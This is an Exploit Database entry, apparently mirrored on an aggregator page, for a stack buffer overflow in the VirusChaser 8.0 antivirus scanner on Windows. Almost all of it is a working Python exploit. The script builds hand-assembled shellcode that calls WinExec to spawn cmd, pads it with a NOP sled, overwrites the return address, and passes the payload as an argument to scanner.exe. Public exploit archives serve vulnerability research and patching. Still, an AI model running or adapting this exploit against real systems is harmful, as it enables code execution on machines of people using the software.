VirusChaser 8.0 – Stack Buffer Overflow

• Exploit Database
• 12 阅读

• 作者： wh1ant
  日期： 2014-03-26
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/32522/

• # Exploit Title: VirusChaser 8.0 - Stack Buffer Overflow
  # Date: 2014/03/26
  # Exploit Author: wh1ant
  # Vendor Homepage: https://www.viruschaser.com/
  # Software Link: https://www.viruschaser.com/download/VC80b_32Setup.zip
  # Version: 8.0
  # Tested on: Windows 7 ultimate K
  #
  # You must have administrator permission to run
  
  from struct import pack
  import os
  
  shellcode = "\x66\x83\xc4\x10"# add esp, 0x10
  shellcode += "\xb8\x50\x70\x50\x50" # mov eax, 0x50507050
  shellcode += "\xb9\x4e\x7d\x04\x27" # mov ecx, 0x27047d4e
  shellcode += "\x03\xc1" # add eax, ecx; WinExec() address
  shellcode += "\x68\x63\x6d\x64\x01" # push 0x01646D63
  shellcode += "\x66\xb9\x50\x50" # add cx, 0x5050
  shellcode += "\x66\x81\xc1\xb0\xaf" # add cx, 0xafb0
  shellcode += "\x88\x4c\x24\x03" # mov [esp+3], cl
  shellcode += "\x8b\xd4" # mov edx, esp
  shellcode += "\x66\x51" # push cx
  shellcode += "\x41" # inc cx
  shellcode += "\x66\x51" # push cx
  shellcode += "\x52" # push edx
  shellcode += "\x50" # push eax
  shellcode += "\x50" # push eax
  shellcode += "\xc3\x90" # retn; WinExec()
  
  # BOF retn: 0x0040753d
  
  pay = shellcode
  pay = pay.rjust(520, "\x90")
  pay += "\x9c\xdb\x12"
  
  os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + pay + "\"")